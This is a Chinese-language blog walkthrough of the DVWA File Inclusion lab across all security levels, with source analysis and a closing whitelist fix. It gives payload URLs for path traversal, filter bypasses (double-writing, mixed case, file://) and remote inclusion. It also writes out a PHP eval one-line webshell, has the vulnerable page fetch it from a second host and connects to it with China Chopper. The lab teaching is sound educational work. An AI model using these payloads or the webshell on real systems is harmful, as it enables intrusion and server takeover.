DVWA檔案包含全等級繞過方法
dvwa檔案包含File Inclusion全等級繞過
前言
檔案包含漏洞:開發人員為了使程式碼更靈活,會將被包含的檔案設定為變數,用來進行動態呼叫,從而導致客戶端可以惡意呼叫一個惡意檔案,造成檔案包含漏洞。
一、Low級別
如果你開啟發現有紅色報錯The PHP function allow_url_include is not enabled.可以參考此方法解決:https://blog.csdn.net/weixin_43847838/article/details/111087969.
先檢視原始碼(View Source)
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到它沒有對page引數進行任何的過濾
1.1分析檔案包含漏洞測試網頁
進入http://192.168.43.131/dvwa/vulnerabilities/fi/?page=include.php
分別點選file1.php、file2.php、file3.php
這個時候會發現一個問題,僅僅是page後面的引數在變化。
進一步分析:
嘗試在page後面輸入test.php
在頁面中會提醒,找不到test.php檔案,test.php是我們隨便測試的,自然沒有。
同時,頁面提醒中也暴露出來絕對路徑。那麼,說明伺服器會去尋找這個檔案,漏洞自然存在。
1.2 構造URL暴露重要資訊
測試本地檔案讀取:
驗證一下,先新建視窗,url處輸入
http://192.168.43.131/dvwa/php.ini
成功讀取到了這個配置檔案
接著返回dvwa檔案包含漏洞出輸入url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../php.ini
得到
This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on
成功讀取服務端的檔案。
1.3 測試本地指令碼執行
先在瀏覽器中新建視窗,url處輸入:
http://192.168.43.131/dvwa/phpinfo.php
得到PHP環境的配置資訊。
再返回dvwa檔案包含的page引數後面進行輸入,構造url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
表明:檔案包含漏洞不單單能讀檔案,還能執行檔案,從這個漏洞上可以看出能夠導致重要的敏感資訊洩露。
1.4 測試遠端指令碼執行
在page引數後面更改輸入,改成百度的域名嘗試一下能不能開啟網頁
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
喲,成功了,說明這個是可以進行遠端的,既然來都來到這一步了,如果把www.baidu.com改成一句話木馬檔案讓這個檔案執行,是不是就能用菜刀把整個目標拿下呢?乾脆練練手
1.5 包含一句話木馬檔案,並用菜刀連線
思路:
先在b伺服器放置webshell.txt
然後在a伺服器找到檔案包含漏洞
接著通過a伺服器去包含b的webshell.txt
然後用菜刀連線
測試前縷清關係
a就是我的kali(192.168.43.131)
b就是我的window(192.168.43.134)
1.5.1 一句話木馬
<?php
echo "hello my work!";
@eval($_POST['value']);?>?>
先新建一個webshell.txt檔案,放在根目錄下
回到dvwa,url處輸入:
192.168.43.131/dvwa/vulnerabilities/fi/?page=http://192.168.43.134/webshell.txt
回車,成功輸出了字元hello my work! 說明這個txt檔案已經被執行了!
1.6 上菜刀
成功連上了!
題外話,菜刀連不上可能是你的馬寫錯了,還有url,要細心檢查。如果連上以後,發現點選裡面的資料夾打不開了,這個時候可以試試點選左上角的清空快取庫。
二、Medium級別
檢視原始碼(View Source)
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到多了str_replace()
函式,上面兩行過濾程式碼的意思就是將http://
,https://
,../
, ..\
"都替換為空””。既然 ../
被過濾了。那麼,此時,就不能用../
進行目錄跳轉。
可以通過雙寫,大小寫來繞過,或者使用絕對路徑來繞過
2.1雙寫繞過
192.168.43.131/dvwa/vulnerabilities/fi/?page=htthttp://p://www.baidu.com
2.2大小寫繞過
192.168.43.131/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com
2.3 絕對路徑繞過
將文件放進C盤
http://192.168.43.134/dvwa/vulnerabilities/fi/?page=C:\phpinfo.txt
三、High級別
先嚐試隨便輸入一個,看一下會報什麼錯誤
http://192.168.123.102/dvwa/vulnerabilities/fi/?page=haha.php
出現
ERROR: File not found!
報錯頁面和前兩個等級不同,這次提醒中沒有爆出來路徑,我們檢視一下原始碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
原來如此!分析一下這個程式碼
high級別的判定條件是:
if( !fnmatch( “file*”, $file ) && $file != “include.php” )
fnmatch()
函式根據指定的模式來匹配檔名或字串。
fnmatch( "file*", $file )
可以理解為,檢查傳入的$file
是否匹配給出的shell萬用字元”file*”
,如果匹配成功則返回true,否則返回false。
所以這段程式碼的意思就是包含的檔名中需要以file開頭,或者file就為include.php,否則就輸出報錯 “ERROR: File not found!”。
所以這裡就可以通過file協議來包含本地檔案來進行繞過
3.1 file協議包含本地檔案來進行繞過
file協議,訪問本地計算機中的資料夾的檔案傳輸協議。
輸入
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/phpinfo.php
當然啦,在windows系統下也是一樣的,也是可以讀取的
192.168.43.134/dvwa/vulnerabilities/fi/?page=file://C:\phpinfo.txt
成功讀取。
四、impossible級別分析
檢視原始碼
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到這裡的過濾程式碼規定了可以被包含的檔名,也叫白名單模式,只要檔名和白名單上的不一樣就沒有辦法包含,就不會有安全問題,也就避免了檔案包含漏洞的產生。
總結
impossible級別
只允許4個檔名,有效防止了檔案包含漏洞。
黑名單方法–例如Medium,效果一般。
白名單方法–例如high和impossible級別,特別有效。
本站所有文章均為原創,歡迎轉載,請註明文章出處: https://blog.csdn.net/weixin_43847838/article/details/111088010.。百度和各類採集站皆不可信,搜尋請謹慎鑑別。技術類文章一般都有時效性,本人習慣不定期對自己的博文進行修正和更新,因此請訪問出處以檢視本文的最新版本。
相關文章
- 檔案包含漏洞(繞過姿勢)
- DVWA-檔案包含學習筆記筆記
- 繞過 TPM 檢查,.reg檔案 .bat檔案BAT
- 檔案上傳漏洞(繞過姿勢)
- RFI 巧用 WebDAV 繞過 URL 包含限制 GetshellWeb
- 文字檔案上傳漏洞[任意.繞過.解析]
- 檔案包含漏洞(本地包含配合檔案上傳)
- 檔案包含之包含了Linux檔案描述符Linux
- 檔案包含2
- CTFer——檔案包含
- Shell 檔案包含
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- 檔案上傳之後端黑白名單繞過後端
- PHP檔案包含 整理PHP
- 檔案上傳之WAF繞過及相安全防護
- [MRCTF2020]你傳你呢 1 (檔案上傳漏洞,利用.htaccess檔案繞過)TF2
- 繞過PowerShell執行策略方法
- 遠端檔案包含shell
- PHP基礎---檔案包含PHP
- 檔案包含漏洞小結
- 為繞過檢測,攻擊者將惡意Word檔案嵌入到PDF檔案中
- 本地檔案包含之包含日誌獲取webshellWebshell
- js繞過-前端加密繞過JS前端加密
- DedeCMS v5.7 通過檔案包含和CSRF的配合利用
- 程式碼安全之檔案包含
- 檔案包含之/proc/self/environ
- Apache Tomcat檔案包含漏洞分析ApacheTomcat
- ClickOnce釋出包含某檔案
- "白話"PHP檔案包含漏洞PHP
- PHP檔案包含小總結PHP
- 檔案上傳——客戶端檢測繞過(JavaScript檢測)(一)客戶端JavaScript
- 24:WEB漏洞-檔案上傳之WAF繞過及安全修復Web
- CTFHub技能樹web(持續更新)--檔案上傳--雙寫繞過Web
- WinHex 試用期已過視窗繞過方法
- 【檔案上傳繞過】路徑拼接問題導致上傳漏洞
- 09-XSS鍵盤監聽、cookie竊取&檔案上傳繞過Cookie
- 幾種通用防注入程式繞過方法
- 檔案包含之銘感目錄